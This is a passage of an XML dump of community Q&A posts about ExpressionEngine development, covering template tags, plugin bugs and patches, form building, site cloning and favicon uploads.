rel=&quot;nofollow&quot;&gt;http://www.cloudflare.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You aren't even going to notice a page load issue with two channel entries tags (if your templates are intelligently designed, at least). &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-26T14:44:09.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31637" PostTypeId="1" AcceptedAnswerId="31663" CreationDate="2015-05-26T15:11:23.943" Score="0" ViewCount="168" Body="&lt;p&gt;The {video:img_url_hd} tag is no longer working after we updated the plugin to the 3.2 version. It displays this gray image:&lt;a href=&quot;https://i.ytimg.com/vi/GrdZjkNCp8I/sdhqdefault.jpg&quot; rel=&quot;nofollow&quot;&gt;https://i.ytimg.com/vi/GrdZjkNCp8I/sdhqdefault.jpg&lt;/a&gt; on the front end, even though the back end shows the correct thumbnail for the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to change it to the {video:img_url} version since that is working, but wanted to make sure the DevDemon folks knew about it and check to see if it's just our site that has this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6339" LastActivityDate="2015-05-27T21:31:58.397" Title="{video:img_url_hd} not working after 3.2 Channel Videos update" Tags="|devdemon|channel-videos|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31639" PostTypeId="2" ParentId="31592" CreationDate="2015-05-26T16:05:17.463" Score="1" Body="&lt;p&gt;I was able to send the IP address to authorize.net by adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;x_customer_ip&quot;                 =&amp;gt; $this-&amp;gt;order('ip_address')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the process_payment function in Carthrob_authorize_net.php.&lt;/p&gt;&#xA;" OwnerUserId="6328" LastActivityDate="2015-05-26T16:05:17.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31640" PostTypeId="2" ParentId="31611" CreationDate="2015-05-26T18:07:09.033" Score="0" Body="&lt;p&gt;So after some head scratching I have came up with this as they way to do it.  There are going to be better ways to do this but this works for me at the moment. I have only included the main part of the code to build out the form tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// If no recorded goals fill out form with blank rows for score&#xA;    if($recorded_goals == 0){&#xA;        $num = 1;&#xA;        $goals = array();&#xA;        for ($i = 0; $i &amp;lt; $score; $i++){&#xA;            $goals[] = array('num' =&amp;gt; $num++,&#xA;                             'row' =&amp;gt; $i&#xA;                );&#xA;            }&#xA;        $variables['goals'] =  $goals ;&#xA;    }elseif($recorded_goal_count &amp;gt;= $score){// Display all recorded goals in the form.&#xA;                foreach ($recorded_goals as $row){&#xA;                    $i=0;&#xA;                    $num = 1;&#xA;                    $goals = array();&#xA;                    foreach ($recorded_goals as $goal)&#xA;                    {&#xA;                        $goals[] = array('num' =&amp;gt; $num++,&#xA;                                         'row' =&amp;gt; $i++,&#xA;                                         'goal_id' =&amp;gt; $goal['goal_id'],&#xA;                                         'player_name' =&amp;gt; $goal['player_name'], &#xA;                                         'player_id' =&amp;gt; $goal['player_id'],&#xA;                                         'assist_name' =&amp;gt; $goal['assist_name'],&#xA;                                         'assist_id' =&amp;gt; $goal['assist_id'],&#xA;                                         'goal_id' =&amp;gt; $goal['goal_id'],&#xA;                                         'time' =&amp;gt; $goal['time'],&#xA;                                         'penalty' =&amp;gt; $goal['penalty']&#xA;                                        );&#xA;                    }&#xA;                    $variables['goals'] =  $goals ;&#xA;                }&#xA;    }elseif($recorded_goal_count &amp;lt; $score){//Not enough recorded goals fill form will data and blank rows.&#xA;        foreach ($recorded_goals as $row){&#xA;            $i=0;&#xA;            $num = 1;&#xA;            $goals = array();&#xA;                foreach ($recorded_goals as $goal)&#xA;                {&#xA;                    $goals[] = array('num' =&amp;gt; $num++,&#xA;                                     'row' =&amp;gt; $i++,&#xA;                                     'goal_id' =&amp;gt; $goal['goal_id'],&#xA;                                     'player_name' =&amp;gt; $goal['player_name'], &#xA;                                     'player_id' =&amp;gt; $goal['player_id'],&#xA;                                     'assist_name' =&amp;gt; $goal['assist_name'],&#xA;                                     'assist_id' =&amp;gt; $goal['assist_id'],&#xA;                                     'goal_id' =&amp;gt; $goal['goal_id'],&#xA;                                     'time' =&amp;gt; $goal['time'],&#xA;                                     'penalty' =&amp;gt; $goal['penalty']&#xA;                                    );&#xA;                }&#xA;                $variables['goals'] =  $goals ;&#xA;                for ($i = $recorded_goal_count; $i &amp;lt; $score; $i++){&#xA;                    $goals[] = array('num' =&amp;gt; $num++,&#xA;                                    'row' =&amp;gt; $i&#xA;                        );&#xA;                }&#xA;            $variables['goals'] =  $goals ;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template code to process the form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:clubmanager:match_stats &#xA;                    match_id=&quot;{segment_3}&quot;&#xA;                    team_id=&quot;{segment_4}&quot;&#xA;                    return=&quot;clubhouse/fixtures/edit-success&quot;&#xA;                }&#xA;  &amp;lt;!--Table Search v1--&amp;gt;&#xA;                &amp;lt;div class=&quot;table-search-v1 margin-bottom-20&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;table-responsive&quot;&amp;gt;&#xA;                        &amp;lt;table class=&quot;table table-hover table-bordered table-striped&quot;&amp;gt;&#xA;                            &amp;lt;thead&amp;gt;&#xA;                                &amp;lt;tr&amp;gt;&#xA;                                    &amp;lt;th&amp;gt;No.&amp;lt;/th&amp;gt;&#xA;                                    &amp;lt;th&amp;gt;Player Name&amp;lt;/th&amp;gt;&#xA;                                    &amp;lt;th&amp;gt;Assist Player Name&amp;lt;/th&amp;gt;&#xA;                                    &amp;lt;th&amp;gt;Goal Time&amp;lt;/th&amp;gt;&#xA;                                    &amp;lt;th&amp;gt;Penalty&amp;lt;/th&amp;gt;&#xA;                                    &amp;lt;th&amp;gt;Delete?&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;/tr&amp;gt;&#xA;                            &amp;lt;/thead&amp;gt;&#xA;                            &amp;lt;tbody&amp;gt;&#xA;                            {goals}&#xA;                                &amp;lt;tr&amp;gt;&#xA;                                    &amp;lt;td&amp;gt;&#xA;                                    {num}&#xA;                                    &amp;lt;/td&amp;gt;&#xA;                                    &amp;lt;td&amp;gt;&#xA;                                    &amp;lt;input type=&quot;hidden&quot; name=&quot;goals[{row}][goal_id]&quot; value=&quot;{goal_id}&quot; /&amp;gt;&#xA;                                    &amp;lt;select name=&quot;goals[{row}][player_id]&quot;&amp;gt;&#xA;                                        &amp;lt;option value=&quot;0&quot;&amp;gt;Select Player&amp;lt;/option&amp;gt;&#xA;                                        {players}&#xA;                                        &amp;lt;option value=&quot;{id}&quot; {if id == player_id}selected{/if}&amp;gt;{name}&amp;lt;/option&amp;gt;&#xA;                                        {/players}&#xA;                                      &amp;lt;/select&amp;gt;&#xA;&#xA;                                    &amp;lt;/td&amp;gt;&#xA;                                     &amp;lt;td&amp;gt;&#xA;                                        &amp;lt;select name=&quot;goals[{row}][assist]&quot;&amp;gt;&#xA;                                        &amp;lt;option value=&quot;0&quot;&amp;gt;Select Player&amp;lt;/option&amp;gt;&#xA;                                        {players}&#xA;                                        &amp;lt;option value=&quot;{id}&quot; {if id == assist_id}selected{/if}&amp;gt;{name}&amp;lt;/option&amp;gt;&#xA;                                        {/players}&#xA;                                      &amp;lt;/select&amp;gt;&#xA;                                    &amp;lt;/td&amp;gt;&#xA;                                        &amp;lt;!-- Text input--&amp;gt;&#xA;                                     &amp;lt;td&amp;gt;&#xA;                                    &amp;lt;input type=&quot;text&quot; placeholder=&quot;time&quot; class=&quot;form-control&quot; name=&quot;goals[{row}][time]&quot; value=&quot;{if time}{time}{/if}&quot;  /&amp;gt;&#xA;                                    &amp;lt;/td&amp;gt;&#xA;                                    &amp;lt;td&amp;gt;&#xA;                                          &amp;lt;select name=&quot;goals[{row}][penalty]&quot; class=&quot;form-control&quot;&amp;gt;&#xA;                                        {exp:low_variables:options var=&quot;lv_penalty&quot;}&#xA;                                                &amp;lt;option value=&quot;{lv_penalty:data}&quot; {if penalty == lv_penalty:data}selected{/if}&amp;gt;{lv_penalty:data_label}&amp;lt;/option&amp;gt;&#xA;                                        {/exp:low_variables:options}&#xA;                                        &amp;lt;/select&amp;gt;&#xA;                                    &amp;lt;/td&amp;gt;&#xA;                                    &amp;lt;td&amp;gt;&#xA;                                    &amp;lt;input type=&quot;checkbox&quot; name=&quot;goals[{row}][delete]&quot; value=&quot;delete_goal&quot;  /&amp;gt;&#xA;                                    &amp;lt;/td&amp;gt;&#xA;                                &amp;lt;/tr&amp;gt;&#xA;                                {/goals}&#xA;                            &amp;lt;/tbody&amp;gt;&#xA;                        &amp;lt;/table&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;    &#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;!--End Table Search v1--&amp;gt;&#xA;{/exp:clubmanager:match_stats}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5029" LastActivityDate="2015-05-26T18:07:09.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31641" PostTypeId="2" ParentId="31134" CreationDate="2015-05-26T23:51:13.600" Score="0" Body="&lt;p&gt;I found the solution to the problem. The problem is actually due to caching. Turned off 'Cache Dynamic Channel Queries' in the global channel preferences and now the results are coming up.&#xA;I did try clearing all cache before I did that and it made no difference, so I believe there was a problem with file/folder permissions. It's similar to the error when we try to write to the cache folder and I noticed a similar error saving templates (when it tries to save templates to files).&#xA;There was a cache file for that URL, EE couldn't clear the cache file, so it kept being used to figure if there were any matching results and coming back 'no'.&#xA;Thanks everyone for your suggestions!&lt;/p&gt;&#xA;" OwnerUserId="6195" LastActivityDate="2015-05-26T23:51:13.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31642" PostTypeId="1" CreationDate="2015-05-26T23:57:25.523" Score="1" ViewCount="159" Body="&lt;p&gt;I want clone another instance for testing purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to follow this guide:&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/operations/moving.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/operations/moving.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I'm not sure where to locate the database in Step 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'm not sure how to verify and update the files in Steps 8 and 9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I just have a copy of admin.php, index.php, themes/, images/, and system/ in my test/ directory.&#xA;And so, accessing www.mywebsite.com/test/ results in unavailable webpage.&lt;/p&gt;&#xA;" OwnerUserId="6212" LastActivityDate="2015-05-27T08:18:00.973" Title="How do i clone my whole EE instance into a test instance?" Tags="|ee2|" AnswerCount="1" CommentCount="3" ClosedDate="2015-05-28T12:54:38.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="31643" PostTypeId="2" ParentId="30870" CreationDate="2015-05-26T23:58:54.490" Score="0" Body="&lt;p&gt;Removing the DISTINCT from the above query allows the query to be executed without throwing an error, this is because the DISTINCT in combination with the ORDER BY causes mysql to build a temp table which cannot be created because the temp table (which is the entire exp_channel_table combined with the entire exp_member_data plus all off the other columns listed) exceeds the maximum row length of mysql.&lt;/p&gt;&#xA;" OwnerUserId="6195" LastActivityDate="2015-05-26T23:58:54.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31644" PostTypeId="1" AcceptedAnswerId="31650" CreationDate="2015-05-27T01:41:39.717" Score="0" ViewCount="324" Body="&lt;p&gt;I created a form using channel fields and i'm trying to figure how to allow the WYGWAM features to display on the front-end so, the end-user can do some basic text formatting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:form channel=&quot;careers&quot;&#xA;                form:role=&quot;form&quot;&#xA;                form:data-toggle=&quot;validator&quot;&#xA;                include_jquery=&quot;yes&quot;&#xA;                datepicker=&quot;no&quot;&#xA;                id=&quot;careers&quot;&#xA;                return=&quot;careers/thank-you&quot;&#xA;                logged_out_member_id=&quot;2797&quot;&#xA;                preserve_checkboxes=&quot;yes&quot;&#xA;                status=&quot;pending&quot;&#xA;                dynamic_title=&quot;[careers_job_title]&quot;&#xA;                rules:careers_job_title=&quot;required&quot;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the channel field that I'm trying to add the WYGWAM to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;form-group&quot;&amp;gt; &#xA;  &amp;lt;label for=&quot;careers_job_description&quot;&amp;gt;Job Description&amp;lt;/label&amp;gt; &#xA;  &amp;lt;textarea class=&quot;form-control&quot; rows=&quot;5&quot;&amp;gt;&amp;lt;/textarea&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6344" LastEditorUserId="425" LastEditDate="2015-05-27T10:53:20.063" LastActivityDate="2015-05-27T11:29:39.523" Title="Display WGYWAM to the front-end using Channel Form Field" Tags="|wygwam|channel|forms|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31646" PostTypeId="2" ParentId="16822" CreationDate="2015-05-27T06:37:09.290" Score="1" Body="&lt;p&gt;Since this question has been answered above, but hasn't yet been added as answer, I'll answer it here, so it can be marked as answered and corrected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran into the same issue but solved it a little bit differently. Where the answer above redirects in the template, I did the redirection immediately in the template, rather than the embedded snippet. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot; unprefix=&quot;detail&quot;}&#xA;     {exp:channel:entries &#xA;          channel=&quot;channel_entries&quot; &#xA;          status=&quot;open&quot; &#xA;          limit=&quot;1&quot;       &#xA;          disable=&quot;pagination|member_data|categories|category_fields&quot;          &#xA;          require_entry=&quot;yes&quot;}&#xA;&#xA;             {if detail:no_results}&#xA;                {redirect=&quot;404&quot;}&#xA;             {/if}&#xA;&#xA;     {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3830" LastEditorUserId="3830" LastEditDate="2015-08-24T09:24:51.297" LastActivityDate="2015-08-24T09:24:51.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31647" PostTypeId="1" AcceptedAnswerId="31825" CreationDate="2015-05-27T07:18:17.197" Score="0" ViewCount="88" Body="&lt;p&gt;So, the Channel Images input for Wygwam works fine. We can add an image to the wygwam field, save it, and voila. &#xA;When we edit the entry though, click the wygwam to edit, the images disappear. Not just visually, but also in code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All modules are up to date (Wygwam is 3.3.3 and Channel Images is 5.4.19). Expression engine is 2.9.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Known issue? &lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2015-06-08T06:36:07.210" Title="Channel Images in Wygwam, images dissapear" Tags="|wygwam|channel-images|bug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31648" PostTypeId="1" CreationDate="2015-05-27T07:31:11.713" Score="0" ViewCount="61" Body="&lt;p&gt;I just downloaded the Sisow (&lt;a href=&quot;https://github.com/fruitcakestudio/omnipay-sisow&quot; rel=&quot;nofollow&quot;&gt;https://github.com/fruitcakestudio/omnipay-sisow&lt;/a&gt;) gateway for Store and copied all the files to the /store/vendor/omnipay/sisow dir.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But unfortunately the Sisow Gateway is not showing in the Store CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i add more custom gateways to the omnipay lib? &lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2016-06-13T00:40:53.193" Title="Install new payment method for Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31649" PostTypeId="2" ParentId="31642" CreationDate="2015-05-27T08:18:00.973" Score="2" Body="&lt;p&gt;It's just a matter of copying all the files to a new location, cloning the database and updating the database connection info in database.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database is a MySQL database so you will need to do an SQL dump from there. The database connection info is in /system/expressionengine/config/database.php and you will need to either use the command line, a MySQL GUI tool such as Sequel Pro, or something like PHPMyAdmin to export the entire database as an SQL file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you'll probably find things infinitely simpler if you use a multiple config system such as &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Labs Config&lt;/a&gt;. This will allow you to easily set up different configurations for different domains. Generally this is used when you want a local dev environment, staging environment, and a production server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to do that you could look at Deeploy Helper (assuming it's still available) which will let you change paths across your installation from a single place. It's useful but nowhere near as useful as using a multiple config system.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-05-27T08:18:00.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31650" PostTypeId="2" ParentId="31644" CreationDate="2015-05-27T11:29:39.523" Score="0" Body="&lt;p&gt;As a guess you've not specified your WYGWAM field name you've created for the channel. &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#other-channel-fields&quot; rel=&quot;nofollow&quot;&gt;Details here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;form-group&quot;&amp;gt; &#xA;  &amp;lt;label for=&quot;careers_job_description&quot;&amp;gt;Job Description&amp;lt;/label&amp;gt; &#xA;  &amp;lt;textarea class=&quot;form-control&quot; name=&quot;{field:wygwam_field_name}&quot; rows=&quot;5&quot;&amp;gt;&amp;lt;/textarea&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if you can just use &lt;code&gt;{my_field_name}&lt;/code&gt; without the &lt;code&gt;field:&lt;/code&gt; prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tag Pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_field_name}{/my_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternative:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{custom_fields}&#xA;    {if textarea}&#xA;    &amp;lt;textarea id=&quot;{field_name}&quot; name=&quot;{field_name}&quot; dir=&quot;{text_direction}&quot; rows=&quot;{rows}&quot;&amp;gt;&#xA;        {field_data}&#xA;    &amp;lt;/textarea&amp;gt;&#xA;    {/if}&#xA;{/custom_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-05-27T11:29:39.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31651" PostTypeId="5" CreationDate="2015-05-27T11:36:34.890" Score="0" Body="&lt;p&gt;Custom System Messages provides an alternative to the the Specialty Templates for ExpressionEngine. All ExpressionEngine messages, regardless of type or severity, are filtered through the same group of templates, which are only editable within the Control Panel. If you use Subversion or Git to version your templates, the Specialty Template are left out. On top of this fact the Specialty Templates do not not parse other template tags, so embedding other templates, or using tags from third party add-ons do not work&lt;/p&gt;&#xA;" OwnerUserId="146" LastEditorUserId="146" LastEditDate="2015-05-27T14:47:39.777" LastActivityDate="2015-05-27T14:47:39.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31652" PostTypeId="4" CreationDate="2015-05-27T11:36:34.890" Score="0" Body="Custom System Messages provides an alternative to the the Specialty Templates for ExpressionEngine" OwnerUserId="146" LastEditorUserId="146" LastEditDate="2015-05-27T14:47:20.250" LastActivityDate="2015-05-27T14:47:20.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31653" PostTypeId="2" ParentId="31635" CreationDate="2015-05-27T11:46:04.783" Score="3" Body="&lt;p&gt;The only sensible way to do this with a single channel entries loop is to use Stash and create one or more Stash lists within your loop. Then outside the entries loop use the Stash list to output the titles, followed by the contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would go something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First create the Stash list variables (there are a couple of ways to do this)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foo&quot; dynamic=&quot;no&quot;}&#xA;    {exp:stash:append_list name=&quot;my_list&quot;}&#xA;        {stash:item_title}{title}{/stash:item_title}&#xA;        {stash:item_url_title}{url_title}{/stash:item_url_title}&#xA;        {stash:item_content}{content}{/stash:item_content}&#xA;    {/exp:stash:append_list}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then output the list twice, getting different bits of it each time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;my_list&quot;}&#xA;    &amp;lt;a href=&quot;#{stash:item_url_title}&quot;&amp;gt;{stash:item_title}&amp;lt;/a&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&#xA;{exp:stash:get_list name=&quot;my_list&quot;}&#xA;   &amp;lt;div id=&quot;{stash:item_url_title}&quot;&amp;gt;{stash:item_content}&amp;lt;/div&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be honest, the way you've done it is probably what I would do unless I was running into performance issues in which case Stash might be of help.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-05-27T12:54:10.673" LastActivityDate="2015-05-27T12:54:10.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31654" PostTypeId="1" AcceptedAnswerId="31655" CreationDate="2015-05-27T13:10:58.050" Score="0" ViewCount="43" Body="&lt;p&gt;Is there a way to show the date of an entry with an additional set time. ie 90 days?&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2015-05-27T13:31:33.743" Title="Automatically show entry date plus set time" Tags="|entry-date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31655" PostTypeId="2" ParentId="31654" CreationDate="2015-05-27T13:31:33.743" Score="1" Body="&lt;p&gt;Not natively within EE's standard tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry dates are stored as timestamps though so you could use a maths plugin to add on 7776000000 (90 days in milliseconds) then use date formatting to turn that into a nice date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's getting a bit &quot;tag soupy&quot; so you might be better off with a custom plugin that would return the modified, formatted date for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or even more simply, use a plugin that's already out there such as &lt;a href=&quot;https://devot-ee.com/add-ons/dt-plugin&quot; rel=&quot;nofollow&quot;&gt;DT&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-05-27T13:31:33.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31656" PostTypeId="1" CreationDate="2015-05-27T15:05:04.283" Score="1" ViewCount="107" Body="&lt;p&gt;I am not a developer- but I want to upload my favicon to my EE site.  Which file folder (Content, Base Images, General Content, Gallery Images) should I upload it to?&#xA;Is this the proper way to upload the favicon?&lt;/p&gt;&#xA;" OwnerUserId="6346" LastActivityDate="2015-05-27T17:12:34.970" Title="I'm trying to upload a favicon to EE, but it says the .ico file type is not allowed" Tags="|file-uploads|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31657" PostTypeId="2" ParentId="31656" CreationDate="2015-05-27T15:53:29.800" Score="2" Body="&lt;p&gt;I would upload it to the root of the site and then link to it in the head of your document like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--favicon--&amp;gt;&#xA;    &amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;/favicon.ico&quot; type=&quot;image/x-icon&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-05-27T15:53:29.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31658" PostTypeId="2" ParentId="31656" CreationDate="2015-05-27T17:12:34.970" Score="0" Body="&lt;p&gt;You need to upload the file to the root of your site, as CreateSean said. To do this, you generally need to access your web server via FTP, File Transfer Protocol. I would recommend FileZilla for ease of use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://filezilla-project.org/&quot; rel=&quot;nofollow&quot;&gt;https://filezilla-project.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To log in to your web server via FTP, you'll need to know a username, password, and address (address is usually www.yourwebsite.com). You will probably need to contact your web hosting partner to get this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have access, your web root is usually located here on a Linux server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/www/html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where it would be on a Windows server. But this is generally where you'd upload your favicon.ico, and then you link to it as CreateSean said, with a link tag in your html header. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-27T17:12:34.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31659" PostTypeId="2" ParentId="31578" CreationDate="2015-05-27T19:05:58.767" Score="0" Body="&lt;p&gt;No, the extension does not contain this functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Little side note: When saving an entry the hook &quot;entry_submission_end&quot; is called. For saving multiple entries the hook &quot;update_multi_entries_loop&quot; should be called, wich is not the case.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-05-27T19:05:58.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31660" PostTypeId="1" CreationDate="2015-05-27T19:09:40.427" Score="0" ViewCount="88" Body="&lt;p&gt;I have a grid field (files), with a column/variable (file). I just need to display my content/snippet if a file has been uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if files:file}link to my file{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2794" LastEditorUserId="2794" LastEditDate="2015-05-28T08:31:41.147" LastActivityDate="2015-05-28T08:31:41.147" Title="Grid conditional for a file(s) - If file exists display content (file)" Tags="|conditionals|grid|files|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31661" PostTypeId="2" ParentId="31660" CreationDate="2015-05-27T20:01:43.537" Score="1" Body="&lt;p&gt;Do it exactly like you think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{my_grid_field}&#xA;    {if my_grid_field:column}{my_grid_field:column}{/if}&#xA;{/my_grid_field}&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-05-27T20:01:43.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31663" PostTypeId="2" ParentId="31637" CreationDate="2015-05-27T21:31:58.397" Score="0" Body="&lt;p&gt;&lt;strong&gt;Please note that the following solution requires modifying a part of the plugins core functionality. Any update to channel_videos is going to remove this fix.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We resolved it by modifying &lt;code&gt;line: 235&lt;/code&gt; in &lt;code&gt;system/expressionengine/third_party/channel_videos/mod.channel_videos.php&lt;/code&gt;. &#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;strong&gt;Before:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$vars[$prefix.'img_url_hd']    = str_replace('default.jpg', 'hqdefault.jpg', $vid-&amp;gt;video_img_url);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (strpos($vid-&amp;gt;video_img_url, 'sddefault.jpg') !== FALSE) {&#xA;    $vars[$prefix.'img_url_hd'] = str_replace('sddefault.jpg', 'hqdefault.jpg', $vid-&amp;gt;video_img_url);&#xA;} else {&#xA;    $vars[$prefix.'img_url_hd'] = str_replace('default.jpg', 'hqdefault.jpg', $vid-&amp;gt;video_img_url);&#xA;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Whats happening:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;channel_videos searches for &lt;code&gt;default.jpg&lt;/code&gt; and replaces it with &lt;code&gt;hqdefault.jpg&lt;/code&gt;.&lt;br&gt;&#xA;The problem is that in some instances the string &lt;code&gt;default.jpg&lt;/code&gt; is actually &lt;code&gt;sddefault.jpg&lt;/code&gt;.&lt;br&gt;&#xA;So when this happens it essentially replaces &lt;code&gt;default.jpg&lt;/code&gt; of 